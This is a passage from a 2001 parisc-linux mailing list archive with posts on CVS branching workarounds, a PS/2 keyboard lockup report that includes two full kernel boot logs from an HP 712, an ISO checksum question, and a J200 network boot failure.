             <3B4DBBB3.9080101@subcarrier.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:11614

= True, but in the absence of a working date + branch checkout, it's a
= reasonable interim solution (real solution is to fix cvs).

There's another "solution".  date+branch checkout works on other branches
just not on the trunk :-)  One idea I propose for discussion is moving
development from the trunk to a branch so in the future we could do
date+branch checkouts.  We'll soon have 2 development branches
(2.4.x and 2.5.x) so we'll all need to learn to use a few more CVS
features anyway.

As for fixing CVS, there was no reply to my cvs bugs e-mail containing
the ultra-simple test case showing that HEAD+date checkouts don't work.

= I don't know of any way to get rid of the vendor branch taint other than
= using 'cvs admin -b' or (less preferably) rcs directly.

Unfortunately if you're actually using the CVS default branch feature,
safe-cvsimport's 'cvs admin -b' will make you unhappy :-)

The other option is to never use cvs import -- rather late for
us though there are some arguments for archiving the old repository
and reinitializing -- especially just prior to 2.5 kernels.

= Ouch.  The import should have some distinct tag, and I guess using a
= date tag is the best you'll get for trying to determine the state prior
= to the merge (which, according to Murphy's Law, I predict overlapped
= regular development).  My best advice is "don't do that then".

Fortunately by diffing against Linus' tree, willy tends to catch the
fallout from the mixed imports which we don't catch while manually
resolving merges.

	-P




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux 0.9.2 && kernel 2.4.6-pa12 (no ps/2 kbd answer)
Date: Thu, 12 Jul 2001 20:31:56 +0200
Lines: 405
Approved: news@gmane.org
Message-ID: <OF731D3D33.82489EEF-ONC1256A87.00647126@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620300 22338 80.91.229.3 (22 Nov 2014 01:38:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 12:35:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AD30482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 12:35:09 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54b53f70b2@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 12 Jul 2001 20:34:46 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/12/2001 08:37:22 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11615

Dear Richard,

I read mailing list regarding the problem of ps/2 keyboard locked under K
2.4.6.

I met the same problem as well with a 712 as well as B180L.

And the workaround we know to un-plug, replug the keyboard does not work in
this case.

I would like o submit this short message log:

### K 2.4.0-32

Jul  8 22:17:22 palinux2 syslogd 1.4.1#2: restart.
Jul  8 22:17:23 palinux2 kernel: klogd 1.4.1#2, log source =3D /proc/kmsg
started.
Jul  8 22:17:23 palinux2 kernel: Inspecting /boot/System.map
Jul  8 22:17:26 palinux2 kernel: Cannot find map file.
Jul  8 22:17:26 palinux2 kernel: No module symbols loaded.
Jul  8 22:17:26 palinux2 kernel: Linux version 2.4.0-32 (root@slab) (gcc
version 3.0 (Debian)) #1 Thu Jun 28 11:49:00 BST 2001
Jul  8 22:17:26 palinux2 kernel: FP[0] enabled: Rev 1 Model 13
Jul  8 22:17:26 palinux2 kernel: The 32-bit Kernel has started...
Jul  8 22:17:26 palinux2 kernel: Determining PDC firmware type: Older
Legacy Box
Jul  8 22:17:26 palinux2 kernel: model^I00006010 00000481 00000000 00000000
77dd299c 00000000 00000004 00000072 00000072
Jul  8 22:17:26 palinux2 kernel: vers^I0000000c
Jul  8 22:17:26 palinux2 kernel: CPUID^Ivers 0 rev 0
Jul  8 22:17:26 palinux2 kernel: model^I9000/712
Jul  8 22:17:26 palinux2 kernel: Total Memory: 64 Mb
Jul  8 22:17:26 palinux2 kernel: On node 0 totalpages: 16384
Jul  8 22:17:26 palinux2 kernel: zone(0): 16384 pages.
Jul  8 22:17:26 palinux2 kernel: zone(1): 0 pages.
Jul  8 22:17:26 palinux2 kernel: zone(2): 0 pages.
Jul  8 22:17:26 palinux2 kernel: Searching for devices...
Jul  8 22:17:26 palinux2 kernel: Found devices:
Jul  8 22:17:26 palinux2 kernel: 1. Gecko 80 GSC Core Graphics (10) at
0xf8000000, versions 0x1c, 0x0, 0x85, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 2. Gecko 80 Core BA (11) at 0xf0100000,
versions 0x1c, 0x0, 0x81, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 3. Gecko 80 Core SCSI (10) at 0xf0106000,
versions 0x1c, 0x0, 0x82, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 4. Gecko 80 Core LAN (802.3) (10) at
0xf0107000, versions 0x1c, 0x0, 0x8a, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 5. Gecko 80 Core RS-232 (10) at
0xf0105000, versions 0x1c, 0x0, 0x8c, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 6. Gecko 80 Core Centronics (10) at
0xf0102000, versions 0x1c, 0x0, 0x74, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 7. Gecko 80 Audio (10) at 0xf0104000,
versions 0x1c, 0x0, 0x7b, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 8. Gecko 80 Core PC Floppy (10) at
0xf010a000, versions 0x1c, 0x0, 0x83, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 9. Gecko 80 Core PS/2 Port (10) at
0xf0108000, versions 0x1c, 0x0, 0x84, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 10. Gecko 80 Core PS/2 Port (10) at
0xf0108100, versions 0x1c, 0x0, 0x84, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: 11. Gecko 80 (712/80) (0) at 0xfffbe000,
versions 0x601, 0x0, 0x4, 0x0, 0x81
Jul  8 22:17:26 palinux2 kernel: 12. Gecko 80 (1) at 0xfffbf000, versions
0x38, 0x0, 0x9, 0x0, 0x0
Jul  8 22:17:26 palinux2 kernel: That's a total of 12 devices.
Jul  8 22:17:26 palinux2 kernel: CPU(s): 1 x PA7100LC (PCX-L) at 80.000000
MHz
Jul  8 22:17:26 palinux2 kernel: Kernel command line: root=3D/dev/sda3 HOME=
=3D/
console=3Dtty0 sti=3D0 sti_font=3DVGA8x16 TERM=3Dlinux
Jul  8 22:17:26 palinux2 kernel: Console: colour dummy device 160x64
Jul  8 22:17:26 palinux2 kernel: Calibrating delay loop... 79.66 BogoMIPS
Jul  8 22:17:26 palinux2 kernel: Memory: 61920k available
Jul  8 22:17:26 palinux2 kernel: Dentry-cache hash table entries: 8192
(order: 4, 65536 bytes)
Jul  8 22:17:26 palinux2 kernel: Buffer-cache hash table entries: 1024
(order: 0, 4096 bytes)
Jul  8 22:17:26 palinux2 kernel: Page-cache hash table entries: 16384
(order: 4, 65536 bytes)
Jul  8 22:17:26 palinux2 kernel: Inode-cache hash table entries: 4096
(order: 3, 32768 bytes)
Jul  8 22:17:26 palinux2 kernel: POSIX conformance testing by UNIFIX
Jul  8 22:17:26 palinux2 kernel: Lasi version 0 at 0xf0100000 found.
Jul  8 22:17:26 palinux2 kernel: PS/2 keyboard controller at 0xf0108000
(irq 69) found, device attached.
Jul  8 22:17:26 palinux2 kernel: PS/2 psaux controller at 0xf0108100 (irq
69) found, device attached.
Jul  8 22:17:26 palinux2 kernel:
Jul  8 22:17:26 palinux2 kernel: sticonsole_init: searching for STI ROMs
Jul  8 22:17:26 palinux2 kernel: STI word mode ROM at f0080000,
hpa=3Df8000000
Jul  8 22:17:26 palinux2 kernel: STI word mode ROM, id 2b4ded6d-40a00499,
conforms to spec rev. 8.04
Jul  8 22:17:26 palinux2 kernel: STI device: HPA208LC1280
Jul  8 22:17:26 palinux2 kernel: Console: switching to colour STI console
160x64
Jul  8 22:17:26 palinux2 kernel: Found i82596 at 0xf0107000, IRQ 87
Jul  8 22:17:26 palinux2 kernel: early initialization of device eth0 is
deferred
Jul  8 22:17:26 palinux2 kernel: Linux NET4.0 for Linux 2.4
Jul  8 22:17:26 palinux2 kernel: Based upon Swansea University Computer
Society NET3.039
Jul  8 22:17:26 palinux2 kernel: Starting kswapd v1.8
Jul  8 22:17:26 palinux2 kernel: Console: switching to colour frame buffer
device 160x64
Jul  8 22:17:26 palinux2 kernel: fb0: stifb 1280x1024-8 frame buffer
device, id: 2b4ded6d, iobase: 0xf8100000
Jul  8 22:17:26 palinux2 kernel: pty: 256 Unix98 ptys configured
Jul  8 22:17:26 palinux2 kernel: lp: driver loaded but no devices found
Jul  8 22:17:26 palinux2 kernel: RAMDISK driver initialized: 16 RAM disks
of 6144K size 1024 blocksize
Jul  8 22:17:26 palinux2 kernel: loop: enabling 8 loop devices
Jul  8 22:17:26 palinux2 kernel: eth0: 82596 at 0xf0107000, 08 00 09 C9 59
7A IRQ 87.
Jul  8 22:17:26 palinux2 kernel: 82596.c $Revision: 1.18 $
Jul  8 22:17:26 palinux2 kernel: Serial driver version 5.02 (2000-08-09)
with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Jul  8 22:17:26 palinux2 kernel: ttyS00 at iomem 0xf0105800 (irq =3D 90) is=
 a
16550A
Jul  8 22:17:26 palinux2 kernel: Generic RTC Driver v1.02 05/27/1999 Sam
Creasey (sammy@oh.verio.com)
Jul  8 22:17:26 palinux2 kernel: parport_init_chip: initialize
bidirectional-mode.
Jul  8 22:17:26 palinux2 kernel: parport0: PC-style at 0xf0102800, irq 88
[PCSPP,TRISTATE]
Jul  8 22:17:26 palinux2 kernel: lp0: using parport0 (interrupt-driven).
Jul  8 22:17:26 palinux2 kernel: SCSI subsystem driver Revision: 1.00
Jul  8 22:17:26 palinux2 kernel: sim700: Configuring 53c710 (SCSI-ID 7) at
f0106100, IRQ 86, options 0
Jul  8 22:17:26 palinux2 kernel: scsi0: Revision 0x2
Jul  8 22:17:26 palinux2 kernel: scsi0: test 1 completed ok.
Jul  8 22:17:26 palinux2 kernel: scsi0 : LASI/Simple 53c7xx
Jul  8 22:17:26 palinux2 kernel:   Vendor: SEAGATE   Model: ST34572N
Rev: HP03
Jul  8 22:17:26 palinux2 kernel:   Type:   Direct-Access
ANSI SCSI revision: 02
Jul  8 22:17:26 palinux2 kernel:   Vendor: HP        Model: C3325A
Rev: HP08
Jul  8 22:17:26 palinux2 kernel:   Type:   Direct-Access
ANSI SCSI revision: 02
Jul  8 22:17:26 palinux2 kernel: Detected scsi disk sda at scsi0, channel
0, id 3, lun 0
Jul  8 22:17:26 palinux2 kernel: Detected scsi disk sdb at scsi0, channel
0, id 6, lun 0
Jul  8 22:17:26 palinux2 kernel: SCSI device sda: 8388314 512-byte hdwr
sectors (4295 MB)
Jul  8 22:17:26 palinux2 kernel: Partition check:
Jul  8 22:17:26 palinux2 kernel:  sda: sda1 sda2 sda3
Jul  8 22:17:26 palinux2 kernel: SCSI device sdb: 4194685 512-byte hdwr
sectors (2148 MB)
Jul  8 22:17:26 palinux2 kernel:  sdb: unknown partition table
Jul  8 22:17:26 palinux2 kernel: Lasi Harmony Audio rev. 18 at 0xf0104000,
using IRQ 82
Jul  8 22:17:26 palinux2 kernel: md driver 0.90.0 MAX_MD_DEVS=3D256,
MD_SB_DISKS=3D27
Jul  8 22:17:26 palinux2 kernel: md.c: sizeof(mdp_super_t) =3D 4096
Jul  8 22:17:26 palinux2 kernel: NET4: Linux TCP/IP 1.0 for NET4.0
Jul  8 22:17:26 palinux2 kernel: IP Protocols: ICMP, UDP, TCP
Jul  8 22:17:26 palinux2 kernel: IP: routing cache hash table of 512
buckets, 4Kbytes
Jul  8 22:17:26 palinux2 kernel: TCP: Hash tables configured (established
4096 bind 8192)
Jul  8 22:17:26 palinux2 kernel: eth0: link ok.
Jul  8 22:17:26 palinux2 kernel: NET4: Unix domain sockets 1.0/SMP for
Linux NET4.0.
Jul  8 22:17:26 palinux2 kernel: VFS: Mounted root (ext2 filesystem)
readonly.
Jul  8 22:17:26 palinux2 kernel: Adding Swap: 123684k swap-space (priority
-1)
Jul  8 22:17:26 palinux2 kernel: eth0: link ok.
Jul  8 22:17:28 palinux2 lpd[162]: restarted
Jul 12 15:31:22 palinux2 kernel: Kernel logging (proc) stopped.
Jul 12 15:31:22 palinux2 kernel: Kernel log daemon terminating.
Jul 12 15:31:22 palinux2 exiting on signal 15

### K 2.4.6-pa12

Jul 12 15:32:41 palinux2 syslogd 1.4.1#2: restart.
Jul 12 15:32:42 palinux2 kernel: klogd 1.4.1#2, log source =3D /proc/kmsg
started.
Jul 12 15:32:42 palinux2 kernel: Inspecting /boot/System.map
Jul 12 15:32:46 palinux2 lpd[155]: restarted
Jul 12 15:32:47 palinux2 kernel: Loaded 24065 symbols from
/boot/System.map.
Jul 12 15:32:47 palinux2 kernel: Symbols match kernel version 2.4.6.
Jul 12 15:32:47 palinux2 kernel: No module symbols loaded - kernel modules
not enabled.
Jul 12 15:32:47 palinux2 kernel: Linux version 2.4.6-pa12 (root@wslin) (gcc
version 3.0 20010427 (prerelease)) #1 Thu Jul 12 13:23:06 GMT 2001
Jul 12 15:32:47 palinux2 kernel: FP[0] enabled: Rev 1 Model 13
Jul 12 15:32:47 palinux2 kernel: The 32-bit Kernel has started...
Jul 12 15:32:47 palinux2 kernel: Determining PDC firmware type: Older
Legacy Box
Jul 12 15:32:47 palinux2 kernel: model^I00006010 00000481 00000000 00000000
77dd299c 00000000 00000004 00000072 00000072
Jul 12 15:32:47 palinux2 kernel: vers^I0000000c
Jul 12 15:32:47 palinux2 kernel: CPUID^Ivers 0 rev 0
Jul 12 15:32:47 palinux2 kernel: model^I9000/712
Jul 12 15:32:47 palinux2 kernel: Total Memory: 64 Mb
Jul 12 15:32:47 palinux2 kernel: On node 0 totalpages: 16384
Jul 12 15:32:47 palinux2 kernel: zone(0): 16384 pages.
Jul 12 15:32:47 palinux2 kernel: zone(1): 0 pages.
Jul 12 15:32:47 palinux2 kernel: zone(2): 0 pages.
Jul 12 15:32:47 palinux2 kernel: Searching for devices...
Jul 12 15:32:47 palinux2 kernel: Found devices:
Jul 12 15:32:47 palinux2 kernel: 1. Gecko 80 GSC Core Graphics (10) at
0xf8000000, versions 0x1c, 0x0, 0x85, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 2. Gecko 80 Core BA (11) at 0xf0100000,
versions 0x1c, 0x0, 0x81, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 3. Gecko 80 Core SCSI (10) at 0xf0106000,
versions 0x1c, 0x0, 0x82, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 4. Gecko 80 Core LAN (802.3) (10) at
0xf0107000, versions 0x1c, 0x0, 0x8a, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 5. Gecko 80 Core RS-232 (10) at
0xf0105000, versions 0x1c, 0x0, 0x8c, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 6. Gecko 80 Core Centronics (10) at
0xf0102000, versions 0x1c, 0x0, 0x74, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 7. Gecko 80 Audio (10) at 0xf0104000,
versions 0x1c, 0x0, 0x7b, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 8. Gecko 80 Core PC Floppy (10) at
0xf010a000, versions 0x1c, 0x0, 0x83, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 9. Gecko 80 Core PS/2 Port (10) at
0xf0108000, versions 0x1c, 0x0, 0x84, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 10. Gecko 80 Core PS/2 Port (10) at
0xf0108100, versions 0x1c, 0x0, 0x84, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: 11. Gecko 80 (712/80) (0) at 0xfffbe000,
versions 0x601, 0x0, 0x4, 0x0, 0x81
Jul 12 15:32:47 palinux2 kernel: 12. Gecko 80 (1) at 0xfffbf000, versions
0x38, 0x0, 0x9, 0x0, 0x0
Jul 12 15:32:47 palinux2 kernel: That's a total of 12 devices.
Jul 12 15:32:47 palinux2 kernel: CPU(s): 1 x PA7100LC (PCX-L) at 80.000000
MHz
Jul 12 15:32:47 palinux2 kernel: Kernel command line: root=3D/dev/sda3 HOME=
=3D/
console=3Dtty0 sti=3D0 sti_font=3DVGA8x16 TERM=3Dlinux
Jul 12 15:32:47 palinux2 kernel: Console: colour dummy device 160x64
Jul 12 15:32:47 palinux2 kernel: Calibrating delay loop... 79.66 BogoMIPS
Jul 12 15:32:47 palinux2 kernel: Memory: 61780k available
Jul 12 15:32:47 palinux2 kernel: Dentry-cache hash table entries: 8192
(order: 4, 65536 bytes)
Jul 12 15:32:47 palinux2 kernel: Inode-cache hash table entries: 4096
(order: 3, 32768 bytes)
Jul 12 15:32:47 palinux2 kernel: Mount-cache hash table entries: 1024
(order: 1, 8192 bytes)
Jul 12 15:32:47 palinux2 kernel: Buffer-cache hash table entries: 1024
(order: 0, 4096 bytes)
Jul 12 15:32:47 palinux2 kernel: Page-cache hash table entries: 16384
(order: 4, 65536 bytes)
Jul 12 15:32:47 palinux2 kernel: POSIX conformance testing by UNIFIX
Jul 12 15:32:47 palinux2 kernel: Lasi version 0 at 0xf0100000 found.
Jul 12 15:32:47 palinux2 kernel: Linux NET4.0 for Linux 2.4
Jul 12 15:32:47 palinux2 kernel: Based upon Swansea University Computer
Society NET3.039
Jul 12 15:32:47 palinux2 kernel: Starting kswapd v1.8
Jul 12 15:32:47 palinux2 kernel: parport_init_chip: initialize
bidirectional-mode.
Jul 12 15:32:47 palinux2 kernel: parport0: PC-style at 0xf0102800, irq 88
[PCSPP,TRISTATE]
Jul 12 15:32:47 palinux2 kernel: STI word mode ROM at f0080000,
hpa=3Df8000000
Jul 12 15:32:47 palinux2 kernel: STI word mode ROM, id 2b4ded6d-40a00499,
conforms to spec rev. 8.04
Jul 12 15:32:47 palinux2 kernel: STI device: HPA208LC1280
Jul 12 15:32:47 palinux2 kernel: Console: switching to colour frame buffer
device 160x64
Jul 12 15:32:47 palinux2 kernel: fb0: stifb 1280x1024-8 frame buffer
device, id: 2b4ded6d, iobase: 0xf8100000
Jul 12 15:32:47 palinux2 kernel: pty: 256 Unix98 ptys configured
Jul 12 15:32:47 palinux2 kernel: lp0: using parport0 (interrupt-driven).
Jul 12 15:32:47 palinux2 kernel: Serial driver version 5.05a (2001-03-20)
with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Jul 12 15:32:47 palinux2 kernel: ttyS00 at iomem 0xf0105800 (irq =3D 90) is=
 a
16550A
Jul 12 15:32:47 palinux2 kernel: PS/2 keyboard controller at 0xf0108000
(irq 69) found, device attached.
Jul 12 15:32:47 palinux2 kernel: PS/2 psaux controller at 0xf0108100 (irq
69) found, device attached.
Jul 12 15:32:47 palinux2 kernel: Generic RTC Driver v1.02 05/27/1999 Sam
Creasey (sammy@oh.verio.com)
Jul 12 15:32:47 palinux2 kernel: block: queued sectors max/low
40896kB/13632kB, 128 slots per queue
Jul 12 15:32:47 palinux2 kernel: RAMDISK driver initialized: 16 RAM disks
of 4096K size 1024 blocksize
Jul 12 15:32:47 palinux2 kernel: loop: loaded (max 8 devices)
Jul 12 15:32:47 palinux2 kernel: SCSI subsystem driver Revision: 1.00
Jul 12 15:32:47 palinux2 kernel: sim700: Configuring 53c710 (SCSI-ID 7) at
f0106100, IRQ 86, options 0
Jul 12 15:32:47 palinux2 kernel: scsi0: Revision 0x2
Jul 12 15:32:47 palinux2 kernel: scsi0: test 1 completed ok.
Jul 12 15:32:47 palinux2 kernel: scsi0 : LASI/Simple 53c7xx
Jul 12 15:32:47 palinux2 kernel:   Vendor: SEAGATE   Model: ST34572N
Rev: HP03
Jul 12 15:32:47 palinux2 kernel:   Type:   Direct-Access
ANSI SCSI revision: 02
Jul 12 15:32:47 palinux2 kernel:   Vendor: HP        Model: C3325A
Rev: HP08
Jul 12 15:32:47 palinux2 kernel:   Type:   Direct-Access
ANSI SCSI revision: 02
Jul 12 15:32:47 palinux2 kernel: Detected scsi disk sda at scsi0, channel
0, id 3, lun 0
Jul 12 15:32:47 palinux2 kernel: Detected scsi disk sdb at scsi0, channel
0, id 6, lun 0
Jul 12 15:32:47 palinux2 kernel: SCSI device sda: 8388314 512-byte hdwr
sectors (4295 MB)
Jul 12 15:32:47 palinux2 kernel: Partition check:
Jul 12 15:32:47 palinux2 kernel:  sda: sda1 sda2 sda3
Jul 12 15:32:47 palinux2 kernel: SCSI device sdb: 4194685 512-byte hdwr
sectors (2148 MB)
Jul 12 15:32:47 palinux2 kernel:  sdb: unknown partition table
Jul 12 15:32:47 palinux2 kernel: Lasi Harmony Audio rev. 18 at 0xf0104000,
using IRQ 82
Jul 12 15:32:47 palinux2 kernel: sticonsole_init: searching for STI ROMs
Jul 12 15:32:47 palinux2 kernel: md: linear personality registered
Jul 12 15:32:47 palinux2 kernel: md: raid0 personality registered
Jul 12 15:32:47 palinux2 kernel: md: raid1 personality registered
Jul 12 15:32:47 palinux2 kernel: md: raid5 personality registered
Jul 12 15:32:47 palinux2 kernel: raid5: measuring checksumming speed
Jul 12 15:32:47 palinux2 kernel:    8regs     :    60.400 MB/sec
Jul 12 15:32:47 palinux2 kernel:    8regs_prefetch:    80.000 MB/sec
Jul 12 15:32:47 palinux2 kernel:    32regs    :   117.600 MB/sec
Jul 12 15:32:47 palinux2 kernel:    32regs_prefetch:   119.600 MB/sec
Jul 12 15:32:47 palinux2 kernel: raid5: using function: 32regs_prefetch
(119.600 MB/sec)
Jul 12 15:32:47 palinux2 kernel: md: md driver 0.90.0 MAX_MD_DEVS=3D256,
MD_SB_DISKS=3D27
Jul 12 15:32:47 palinux2 kernel: md: Autodetecting RAID arrays.
Jul 12 15:32:47 palinux2 kernel: md: autorun ...
Jul 12 15:32:47 palinux2 kernel: md: ... autorun DONE.
Jul 12 15:32:47 palinux2 kernel: Found i82596 at 0xf0107000, IRQ 87
Jul 12 15:32:47 palinux2 kernel: eth0: 82596 at 0xf0107000, 08 00 09 C9 59
7A IRQ 87.
Jul 12 15:32:47 palinux2 kernel: 82596.c $Revision: 1.20 $
Jul 12 15:32:47 palinux2 kernel: NET4: Linux TCP/IP 1.0 for NET4.0
Jul 12 15:32:47 palinux2 kernel: IP Protocols: ICMP, UDP, TCP
Jul 12 15:32:47 palinux2 kernel: IP: routing cache hash table of 512
buckets, 4Kbytes
Jul 12 15:32:47 palinux2 kernel: TCP: Hash tables configured (established
4096 bind 8192)
Jul 12 15:32:47 palinux2 kernel: NET4: Unix domain sockets 1.0/SMP for
Linux NET4.0.
Jul 12 15:32:47 palinux2 kernel: VFS: Mounted root (ext2 filesystem)
readonly.
Jul 12 15:32:47 palinux2 kernel: Adding Swap: 123684k swap-space (priority
-1)
Jul 12 15:32:47 palinux2 kernel: eth0: link ok.

What is strange is the "sticonsole_init: searching for STI ROMs"
which appear after STI... with kernel 2.4.6
and which apear before with 2.4.0

Could it be the reason?

Regards,
     Joel



                                                                           =
                                       =20
                    Richard Hirst                                          =
                                       =20
                    <rhirst@linux        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                             =20
                    care.com>            cc:                               =
                                       =20
                                         Subject:     Re: [parisc-linux] pa=
linux 0.9.1                            =20
                    09-07-01                                               =
                                       =20
                    07:21 PM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20



On Mon, Jul 09, 2001 at 05:42:10PM +0200, Jo=EBl Soete wrote:
>
> FYI
>
> I just recompile last cvs kernel (20010709 ie 2.4.6-pa7)
> It boot fine (whithout yet STICON, just as before kernel of palinux-0.9).
> So I believe that STICON on B180 will work soon.

Please try unplugging and then replugging your k/b when it
appears to be locked.  Seems it may be a keyboard reset problem.

Richard





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 13:00:15 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <200107121900.NAA17461@puffin.external.hp.com>
References: <rpengelly@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620301 22340 80.91.229.3 (22 Nov 2014 01:38:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 13:01:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 931DD482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 13:01:10 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA17461;
	Thu, 12 Jul 2001 13:00:15 -0600
In-Reply-To: Message from "rpengelly" <rpengelly@ati.stlawrencec.on.ca> 
   of "Thu, 12 Jul 2001 11:05:31 EDT." <000701c10ae4$186cf6a0$0f809b8e@ati.stlawrencec.on.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:11616

"rpengelly" wrote:
> I downloaded the 0.92 full iso and its checksum did not match any of the
> one's given. I'm wondering if it may be because I first have to download it
> form esiee to a windows machine then transfer it via ftp to a linux box.

Someone once mentioned here that windows machines attempt to download
the files as text rather than binaries. You might search in the mail
archives from 2 or 3 monthes ago for the original posting.

grant




From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J200 built-in broken with 2.4.6?
Date: Thu, 12 Jul 2001 12:45:41 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20010712184542.D9D621872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620301 22343 80.91.229.3 (22 Nov 2014 01:38:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:21 +0000 (UTC)
Cc: LaMont Jones <lamont@hp.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 13:56:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B2DB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 13:56:06 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP id E2AB6579
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 15:56:04 -0400 (EDT)
Original-Received: by security.hp.com (Postfix, from userid 23683)
	id D889E1872C; Thu, 12 Jul 2001 13:56:03 -0600 (MDT)
Delivered-To: lamont@security.hp.com
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id D9D621872C; Thu, 12 Jul 2001 12:45:42 -0600 (MDT)
Content-ID: <5704.994963541.1@cranston.fc.hp.com>
Original-Sender: lamont@hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:11617

I have a J200 that had a working NIC back in April, which now successfully
net-boots up to the point of trying to get it's IP, at which point I see
bootp requests (and their answer) on the bootp server, but it never accepts
the packet.  Since we tftpbooted, I find it hard to suspect hardware, and
rather expect that it's something b0rked in the 2.4.0->2.4.6 transition.

lamont





From - Thu Nov 08 21:18:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS palinux 2.4/2.5/workarounds proposal
Date: Thu, 12 Jul 2001 15:58:51 -0600
Lines: 76
Approved: news@gmane.org
Message-ID: <E15KoTz-00060v-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
